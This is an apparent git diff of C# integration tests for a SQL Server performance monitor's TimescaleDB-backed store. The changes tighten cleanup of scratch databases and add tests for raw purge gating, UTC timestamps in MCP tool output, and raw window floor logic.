-        /* Max Auto Prepare=0: RunRetentionPurgeJobSql is a multi-statement string (BEGIN; ...; COMMIT;) run
-           through NpgsqlCommand, and this rig's connection reruns other multi-statement SQL enough times over
-           its life that Npgsql's default auto-prepare threshold can trigger on it, which Npgsql rejects with
-           42601 ("cannot insert multiple commands into a prepared statement") — a client-side caching
-           artifact of this test's connection reuse, not a product behavior. */
-        var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { MaxAutoPrepare = 0 }.ConnectionString;
-        var connection = new NpgsqlConnection(connectionString);
-        await connection.OpenAsync();
-        await PgMigrations.MigrateAsync(connection, default);
-
-        var enabled = await TimescaleSupport.TryEnableAsync(connection, null, default);
-        Assert.SkipWhen(!enabled, "The live #4299 trigger pins need TimescaleDB.");
-        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, default);
-        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, default);
-
-        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection) { CommandTimeout = SetupTimeoutSeconds })
+        NpgsqlConnection? connection = null;
+        /* A skip (no TimescaleDB) or a failed setup throws before the caller owns the store, so the opener drops it
+           here. Left alone it would survive to the process-exit drain, which the test runner waits only 10 s for. */
+        try
         {
-            await stop.ExecuteNonQueryAsync();
+            /* Max Auto Prepare=0: RunRetentionPurgeJobSql is a multi-statement string (BEGIN; ...; COMMIT;) run
+               through NpgsqlCommand, and this rig's connection reruns other multi-statement SQL enough times over
+               its life that Npgsql's default auto-prepare threshold can trigger on it, which Npgsql rejects with
+               42601 ("cannot insert multiple commands into a prepared statement") — a client-side caching
+               artifact of this test's connection reuse, not a product behavior. */
+            var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { MaxAutoPrepare = 0 }.ConnectionString;
+            connection = new NpgsqlConnection(connectionString);
+            await connection.OpenAsync();
+            await PgMigrations.MigrateAsync(connection, default);
+
+            var enabled = await TimescaleSupport.TryEnableAsync(connection, null, default);
+            Assert.SkipWhen(!enabled, "The live #4299 trigger pins need TimescaleDB.");
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, default);
+            await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, default);
+
+            await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection) { CommandTimeout = SetupTimeoutSeconds })
+            {
+                await stop.ExecuteNonQueryAsync();
+            }
+
+            return (connection, scratch);
         }
+        catch
+        {
+            if (connection is not null)
+            {
+                await connection.DisposeAsync();
+            }
 
-        return (connection, scratch);
+            await scratch.DisposeAsync();
+            throw;
+        }
     }
 
     private static async Task<long> ReadPostmasterEpochAsync(NpgsqlConnection connection)
@@ -190,6 +205,63 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
+        }
+    }
+
+    /// <summary>#5329: a store that took the io rollups holds raw hours the io views never saw (they are created WITH
+    /// NO DATA and their refresh policy reaches back one day), and the repair closes 24 buckets a start. The io
+    /// views must not hold the raw purge (the #1661 rule), so a purge over a range the io views only cover for the
+    /// last day still drops chunks and records "ran". RED on 9aae0d75c: the hole gate walked the io views and held
+    /// query_stats for as long as the io floor sat above raw's.</summary>
+    [Fact]
+    public async Task IoRollupsFilledOnlyForTheLastDay_DoNotHoldThePurge()
+    {
+        var (connection, scratch) = await OpenAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await ArmRawJobAsync(connection, Raw);
+            await SeedRawAsync(connection);
+
+            var dropFrom = TimescaleSupport.AlignDown(DateTime.UtcNow.AddDays(-11), TimeSpan.FromHours(1));
+            var dropTo = TimescaleSupport.AlignDown(DateTime.UtcNow, TimeSpan.FromHours(1));
+            await RefreshSuccessorsAsync(connection, dropFrom, dropTo);
+
+            /* What the io views hold on an upgraded store: the policy's one-day window and nothing earlier. */
+            foreach (var io in new[] { TimescaleSupport.QueryStatsIoHourlyView, TimescaleSupport.ProcedureStatsIoHourlyView })
+            {
+                await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{io}'::regclass, $1::timestamp, $2::timestamp)", connection) { CommandTimeout = SetupTimeoutSeconds };
+                refresh.Parameters.AddWithValue(DateTime.SpecifyKind(dropTo.AddDays(-1), DateTimeKind.Unspecified));
+                refresh.Parameters.AddWithValue(DateTime.SpecifyKind(dropTo, DateTimeKind.Unspecified));
+                await refresh.ExecuteNonQueryAsync();
+            }
+
+            var periodic = await TimescaleSupport.EnsureRetentionPoliciesAsync(connection, null, TimescaleSupport.RetentionSweepPass.Periodic, default);
+            Assert.True(periodic.Armed >= 1, "the seeded and fully-refreshed raw relation must read Covered this pass");
+            await StampCurrentEpochAsync(connection, Raw);
+
+            var before = await ChunkCountAsync(connection);
+            var logger = new CapturingTestLogger();
+            await DarlingWorker.TriggerRawPurgeCoreAsync(connection, logger, default);
+
+            var after = await ChunkCountAsync(connection);
+            Assert.True(after < before, $"an io rollup that is only filled for the last day must not hold the raw purge (before={before}, after={after}); log: {logger.Joined}");
+            var rec = await TimescaleSupport.ReadRawLastPurgeOutcomeAsync(connection, Raw, null, default);
+            Assert.NotNull(rec);
+            Assert.Equal("ran", rec!.Outcome);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                var batch = new LiveCleanupBatch(cleanup);
+                await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
+            });
+            await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -241,6 +313,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -300,6 +373,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -365,6 +439,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -417,6 +492,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -504,6 +580,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -585,6 +662,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -728,6 +806,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 var batch = new LiveCleanupBatch(cleanup);
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
+            await scratch.DisposeAsync();
         }
     }
 }
diff --git a/Darling/Darling.Tests/RawRepairEpochTriggerLiveTests.cs b/Darling/Darling.Tests/RawRepairEpochTriggerLiveTests.cs
index a4ac60461e..78f6f03b1a 100644
--- a/Darling/Darling.Tests/RawRepairEpochTriggerLiveTests.cs
+++ b/Darling/Darling.Tests/RawRepairEpochTriggerLiveTests.cs
@@ -37,20 +37,36 @@ public sealed class RawRepairEpochTriggerLiveTests
             "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #4299 trigger pins.");
 
         var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, default);
-        var connection = new NpgsqlConnection(scratch.ConnectionString);
-        await connection.OpenAsync();
-        await PgMigrations.MigrateAsync(connection, default);
+        NpgsqlConnection? connection = null;
+        /* A skip (no TimescaleDB) or a failed setup throws before the caller owns the store, so the opener drops it
+           here. Left alone it would survive to the process-exit drain, which the test runner waits only 10 s for. */
+        try
+        {
+            connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync();
+            await PgMigrations.MigrateAsync(connection, default);
 
-        var enabled = await TimescaleSupport.TryEnableAsync(connection, null, default);
-        Assert.SkipWhen(!enabled, "The live #4299 trigger pins need TimescaleDB.");
-        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, default);
+            var enabled = await TimescaleSupport.TryEnableAsync(connection, null, default);
+            Assert.SkipWhen(!enabled, "The live #4299 trigger pins need TimescaleDB.");
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, default);
 
-        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection) { CommandTimeout = SetupTimeoutSeconds })
-        {
-            await stop.ExecuteNonQueryAsync();
+            await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection) { CommandTimeout = SetupTimeoutSeconds })
+            {
+                await stop.ExecuteNonQueryAsync();
+            }
+
+            return (connection, scratch);
         }
+        catch
+        {
+            if (connection is not null)
+            {
+                await connection.DisposeAsync();
+            }
 
-        return (connection, scratch);
+            await scratch.DisposeAsync();
+            throw;
+        }
     }
 
     private static async Task<long> ReadPostmasterEpochAsync(NpgsqlConnection connection)
@@ -103,6 +119,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -149,6 +166,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -181,6 +199,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -232,6 +251,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 }
diff --git a/Darling/Darling.Tests/RawRetentionPurgeJobLiveTests.cs b/Darling/Darling.Tests/RawRetentionPurgeJobLiveTests.cs
index b7b2ad6c5d..884a281526 100644
--- a/Darling/Darling.Tests/RawRetentionPurgeJobLiveTests.cs
+++ b/Darling/Darling.Tests/RawRetentionPurgeJobLiveTests.cs
@@ -30,6 +30,7 @@ namespace Darling.Tests;
 /// <para><b>#1776 own-store</b>: deliberately NOT <c>[Collection("live-postgres")]</c>. Goes through
 /// <see cref="ScratchPostgres.CreateAsync"/> and never touches the shared database's tables.</para>
 /// </summary>
+[Collection("timing")]
 public sealed class RawRetentionPurgeJobLiveTests
 {
     private const string Raw = "query_stats";
diff --git a/Darling/Darling.Tests/RawTablesLeaveCatalogSweepLiveTests.cs b/Darling/Darling.Tests/RawTablesLeaveCatalogSweepLiveTests.cs
index d18945760a..45300f7554 100644
--- a/Darling/Darling.Tests/RawTablesLeaveCatalogSweepLiveTests.cs
+++ b/Darling/Darling.Tests/RawTablesLeaveCatalogSweepLiveTests.cs
@@ -45,25 +45,40 @@ public sealed class RawTablesLeaveCatalogSweepLiveTests
             "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #4427 pins.");
 
         var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, default);
-
-        /* Max Auto Prepare=0: see RawPurgeTriggerLiveTests — RunRetentionPurgeJobSql is multi-statement and
-           this rig's connection reuse can trip Npgsql's auto-prepare cache on it. */
-        var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { MaxAutoPrepare = 0 }.ConnectionString;
-        var connection = new NpgsqlConnection(connectionString);
-        await connection.OpenAsync();
-        await PgMigrations.MigrateAsync(connection, default);
-
-        var enabled = await TimescaleSupport.TryEnableAsync(connection, null, default);
-        Assert.SkipWhen(!enabled, "The live #4427 pins need TimescaleDB.");
-        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, default);
-        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, default);
-
-        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection) { CommandTimeout = SetupTimeoutSeconds })
+        NpgsqlConnection? connection = null;
+        /* A skip (no TimescaleDB) or a failed setup throws before the caller owns the store, so the opener drops it
+           here. Left alone it would survive to the process-exit drain, which the test runner waits only 10 s for. */
+        try
         {
-            await stop.ExecuteNonQueryAsync();
+            /* Max Auto Prepare=0: see RawPurgeTriggerLiveTests — RunRetentionPurgeJobSql is multi-statement and
+               this rig's connection reuse can trip Npgsql's auto-prepare cache on it. */
+            var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { MaxAutoPrepare = 0 }.ConnectionString;
+            connection = new NpgsqlConnection(connectionString);
+            await connection.OpenAsync();
+            await PgMigrations.MigrateAsync(connection, default);
+
+            var enabled = await TimescaleSupport.TryEnableAsync(connection, null, default);
+            Assert.SkipWhen(!enabled, "The live #4427 pins need TimescaleDB.");
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, default);
+            await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, default);
+
+            await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection) { CommandTimeout = SetupTimeoutSeconds })
+            {
+                await stop.ExecuteNonQueryAsync();
+            }
+
+            return (connection, scratch);
         }
+        catch
+        {
+            if (connection is not null)
+            {
+                await connection.DisposeAsync();
+            }
 
-        return (connection, scratch);
+            await scratch.DisposeAsync();
+            throw;
+        }
     }
 
     private static async Task ArmRawJobAsync(NpgsqlConnection connection, string relation)
@@ -199,6 +214,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -277,6 +293,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await cleanupCommand.ExecuteNonQueryAsync(cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -338,6 +355,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -407,6 +425,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -475,6 +494,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 }
diff --git a/Darling/Darling.Tests/RawWindowFloorMcpLiveTests.cs b/Darling/Darling.Tests/RawWindowFloorMcpLiveTests.cs
index 7e8152ab21..6ef807495e 100644
--- a/Darling/Darling.Tests/RawWindowFloorMcpLiveTests.cs
+++ b/Darling/Darling.Tests/RawWindowFloorMcpLiveTests.cs
@@ -98,6 +98,77 @@ await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =
         }
     }
 
+    /// <summary>
+    /// #4966: <c>effective_start</c> names its instant as UTC, with the trailing Z, on a cut window and on a covered
+    /// one alike. A cut window serves from the floor read off the store (a naive instant), a covered one from the
+    /// requested start (already UTC), and the zone marker used to come and go with <c>window_truncated</c>. Both
+    /// tools are read through the code path a caller reaches, so the text is the one a client parses.
+    /// </summary>
+    [Fact]
+    public async Task RawTopReads_PrintEffectiveStartInUtc_ForACutWindowAndACoveredOne()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live raw-window-floor test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-2);
+
+            /* Cut: the raw tier holds one row from five minutes ago, so a 24-hour ask is served from that floor. The
+               instant is the row's own, never shifted, and it is named as UTC. */
+            var recent = now.AddMinutes(-5);
+            await PlantQueryAsync(connection, ct, recent);
+            await PlantProcedureAsync(connection, ct, recent);
+            var floorText = DateTime.SpecifyKind(recent, DateTimeKind.Utc).ToString("o");
+
+            var cutQueries = JsonDocument.Parse(await DarlingMcpDataTools.GetTopQueriesByCpu(postgres, ServerName, 24)).RootElement;
+            Assert.True(cutQueries.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(floorText, cutQueries.GetProperty("effective_start").GetString());
+
+            var cutProcedures = JsonDocument.Parse(await DarlingMcpDataTools.GetTopProceduresByCpu(postgres, ServerName, 24)).RootElement;
+            Assert.True(cutProcedures.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(floorText, cutProcedures.GetProperty("effective_start").GetString());
+
+            /* Covered: a row from before the window's start (three hours back, a two-hour ask) means the window was
+               served whole, so the served start is the requested one. */
+            var older = now.AddHours(-3);
+            await PlantQueryAsync(connection, ct, older);
+            await PlantProcedureAsync(connection, ct, older);
+
+            var coveredQueries = JsonDocument.Parse(await DarlingMcpDataTools.GetTopQueriesByCpu(postgres, ServerName, 2)).RootElement;
+            Assert.False(coveredQueries.GetProperty("window_truncated").GetBoolean());
+            AssertUtcStamp(coveredQueries.GetProperty("effective_start").GetString());
+
+            var coveredProcedures = JsonDocument.Parse(await DarlingMcpDataTools.GetTopProceduresByCpu(postgres, ServerName, 2)).RootElement;
+            Assert.False(coveredProcedures.GetProperty("window_truncated").GetBoolean());
+            AssertUtcStamp(coveredProcedures.GetProperty("effective_start").GetString());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>A round-trip ISO-8601 stamp that names UTC: it ends in Z and reads back as a UTC instant.</summary>
+    private static void AssertUtcStamp(string? stamp)
+    {
+        Assert.NotNull(stamp);
+        Assert.EndsWith("Z", stamp, StringComparison.Ordinal);
+        Assert.Equal(DateTimeKind.Utc, DateTime.Parse(stamp, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.RoundtripKind).Kind);
+    }
+
     private static Task PlantQueryAsync(NpgsqlConnection connection, CancellationToken ct, DateTime at) =>
         DarlingMcpTestData.ExecAsync(connection, ct,
             @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, sql_handle, plan_handle, query_text, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, min_dop, max_dop)
@@ -124,6 +195,7 @@ private static async Task DeleteRowsAsync(NpgsqlConnection connection, Cancellat
 /// their window floor through the ONE shared probe (<see cref="RawWindowFloor"/>), never a hand-copied SQL
 /// constant per table — the defect #2364 would have repeated twice more.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class RawWindowFloorSharedHelperSourcePinTests
 {
     private static string ReaderSource => RepoFile.ReadRepoFile(
diff --git a/Darling/Darling.Tests/RawWindowFloorQuietStartTests.cs b/Darling/Darling.Tests/RawWindowFloorQuietStartTests.cs
new file mode 100644
index 0000000000..d956b86ae1
--- /dev/null
+++ b/Darling/Darling.Tests/RawWindowFloorQuietStartTests.cs
@@ -0,0 +1,405 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Queries tab's "Showing since" banner and the MCP tools' <c>window_truncated</c> read the raw window floor.
+/// A floor found inside the window called a quiet start a cut: a server with older rows, quiet for the first day of
+/// the window, was reported as holding less than the window. The floor is now the oldest row at or before the
+/// window's end, the same way the Custom Views panels find where their data starts, and it is still null when the
+/// window itself holds nothing, which the MCP tools report as an empty window.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres, then works entirely inside it. */
+[Trait("Reads", "Lite")]
+public sealed class RawWindowFloorQuietStartLiveTests
+{
+    private const int QuietServerId = -497201;
+    private const string QuietServerName = "raw-floor-quiet-start";
+    private const int EndedServerId = -497202;
+    private const string EndedServerName = "raw-floor-ended";
+    private const int RecentServerId = -497203;
+    private const string RecentServerName = "raw-floor-recent";
+
+    [Fact]
+    public async Task AQuietStartInsideTheWindow_IsNotACut_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+        var start = store.End.AddDays(-7);
+
+        var floor = await RawWindowFloor.GetAsync(store.DataSource, RawWindowFloor.Table.QueryStats, QuietServerId, start, store.End, cancellationToken: ct);
+
+        Assert.Equal(store.End.AddDays(-8), floor);
+        Assert.False(RawWindowFloor.IsTruncated(floor, start));
+        Assert.Equal(start, RawWindowFloor.EffectiveStart(floor, start));
+    }
+
+    [Fact]
+    public async Task AServerWhoseRowsEndBeforeTheWindow_ReadsAsNothing_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+        var start = store.End.AddDays(-7);
+
+        var floor = await RawWindowFloor.GetAsync(store.DataSource, RawWindowFloor.Table.QueryStats, EndedServerId, start, store.End, cancellationToken: ct);
+
+        Assert.Null(floor);
+    }
+
+    [Fact]
+    public async Task ARecentServer_IsCutAtItsFirstRow_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+        var start = store.End.AddDays(-7);
+
+        var floor = await RawWindowFloor.GetAsync(store.DataSource, RawWindowFloor.Table.QueryStats, RecentServerId, start, store.End, cancellationToken: ct);
+
+        Assert.Equal(store.End.AddDays(-3), floor);
+        Assert.True(RawWindowFloor.IsTruncated(floor, start));
+        Assert.Equal(store.End.AddDays(-3), RawWindowFloor.EffectiveStart(floor, start));
+    }
+
+    private sealed class SeededStore : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+
+        private SeededStore(ScratchPostgres scratch, NpgsqlDataSource dataSource, DateTime end)
+        {
+            _scratch = scratch;
+            DataSource = dataSource;
+            End = end;
+        }
+
+        public NpgsqlDataSource DataSource { get; }
+
+        public DateTime End { get; }
+
+        public static async Task<SeededStore> CreateAsync(CancellationToken ct)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live raw window floor tests.");
+
+            var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            try
+            {
+                await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+                await DarlingMcpTestData.RegisterServerAsync(connection, QuietServerId, QuietServerName, ct);
+                await DarlingMcpTestData.RegisterServerAsync(connection, EndedServerId, EndedServerName, ct);
+                await DarlingMcpTestData.RegisterServerAsync(connection, RecentServerId, RecentServerName, ct);
+
+                var now = DateTime.UtcNow;
+                var end = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+
+                /* One old row, then nothing until a day into a 7-day window. */
+                await InsertEveryHalfHourAsync(connection, QuietServerId, QuietServerName, end.AddDays(-8), end.AddDays(-8), ct);
+                await InsertEveryHalfHourAsync(connection, QuietServerId, QuietServerName, end.AddDays(-6), end, ct);
+                /* Rows that all end before a 7-day window starts. */
+                await InsertEveryHalfHourAsync(connection, EndedServerId, EndedServerName, end.AddDays(-12), end.AddDays(-9), ct);
+                /* A server added 3 days ago. */
+                await InsertEveryHalfHourAsync(connection, RecentServerId, RecentServerName, end.AddDays(-3), end, ct);
+
+                return new SeededStore(scratch, NpgsqlDataSource.Create(scratch.ConnectionString), end);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        private static async Task InsertEveryHalfHourAsync(
+            NpgsqlConnection connection, int serverId, string serverName, DateTime firstUtc, DateTime lastUtc, CancellationToken ct)
+        {
+            await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds)
+SELECT
+    row_number() OVER (),
+    t,
+    $1,
+    $2,
+    'FloorDb',
+    'HASH1',
+    '0x01',
+    1000,
+    1000,
+    10,
+    300
+FROM generate_series($3::timestamp, $4::timestamp, interval '30 minutes') AS t", connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(firstUtc, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(lastUtc, DateTimeKind.Unspecified));
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await DataSource.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
+
+/// <summary>
+/// The served window never starts before the one asked for. A floor older than the window's start means the rows
+/// reach back past it, so the window was served whole.
+/// </summary>
+[Trait("Reads", "Lite")]
+public sealed class RawWindowFloorEffectiveStartTests
+{
+    private static readonly DateTime s_start = new(2026, 9, 25, 12, 0, 0, DateTimeKind.Utc);
+
+    [Fact]
+    public void AFloorBeforeTheStart_ServesTheWholeWindow() =>
+        Assert.Equal(s_start, RawWindowFloor.EffectiveStart(s_start.AddDays(-1), s_start));
+
+    [Fact]
+    public void AFloorAfterTheStart_IsWhereTheWindowWasServedFrom() =>
+        Assert.Equal(s_start.AddHours(2), RawWindowFloor.EffectiveStart(s_start.AddHours(2), s_start));
+
+    [Fact]
+    public void NoFloor_ReportsTheRequestedStart() =>
+        Assert.Equal(s_start, RawWindowFloor.EffectiveStart(null, s_start));
+
+    private const string NotCoveredHead =
+        "The store holds no collection of query_snapshots for this server in this window, so nothing was read, and this empty answer is not a report that nothing happened. ";
+
+    private const string NotCoveredTail =
+        "The window may reach further back than the store retains, this server may have been monitored for less time than that, or collection may have stopped; get_collection_health shows which.";
+
+    private const string TruncatedSentence =
+        "The window reaches further back than this server's raw query_snapshots retains (or this server has been monitored for less time than that), so the older part of it was not read.";
+
+    private static async Task<(McpWindowNotice Notice, int Probes)> ReadAsync(
+        TimeSpan window, DateTime? floor, bool emptyAnswer, string? tail = null)
+    {
+        var probes = 0;
+        var notice = await DarlingMcpWindowNotice.ReadAsync(
+            () => { probes++; return Task.FromResult(floor); }, s_start, s_start + window, "query_snapshots", tail, emptyAnswer);
+        return (notice, probes);
+    }
+
+    /// <summary>#4966: a probe that throws costs the notice, never the answer: no verdict, no hints, and a Warning.</summary>
+    [Fact]
+    public async Task AProbeThatThrows_AnswersNoNotice_AndLogsAWarning()
+    {
+        var logger = new CapturingLogger();
+        var notice = await DarlingMcpWindowNotice.ReadAsync(
+            () => throw new TimeoutException("deadline"), s_start, s_start + TimeSpan.FromDays(7), "query_snapshots", logger: logger);
+
+        Assert.True(notice.IsUnavailable);
+        Assert.False(notice.WindowTruncated);
+        Assert.Null(notice.EffectiveStart);
+        Assert.Null(notice.AsHints());
+        Assert.Equal([LogLevel.Warning], logger.Levels);
+
+        /* An empty answer fails the same way. */
+        Assert.True((await DarlingMcpWindowNotice.ReadAsync(
+            () => throw new TimeoutException("deadline"), s_start, s_start + TimeSpan.FromHours(1), "query_snapshots", emptyAnswer: true)).IsUnavailable);
+    }
+
+    /// <summary>#4966: only the CALLER's cancellation goes through; the probe's own deadline is a failed probe.</summary>
+    [Fact]
+    public async Task ACancelledCaller_StillCancels_ButAProbeDeadlineDoesNot()
+    {
+        using var cts = new CancellationTokenSource();
+        await cts.CancelAsync();
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => DarlingMcpWindowNotice.ReadAsync(
+            () => throw new OperationCanceledException(cts.Token), s_start, s_start + TimeSpan.FromDays(7), "query_snapshots", cancellationToken: cts.Token));
+
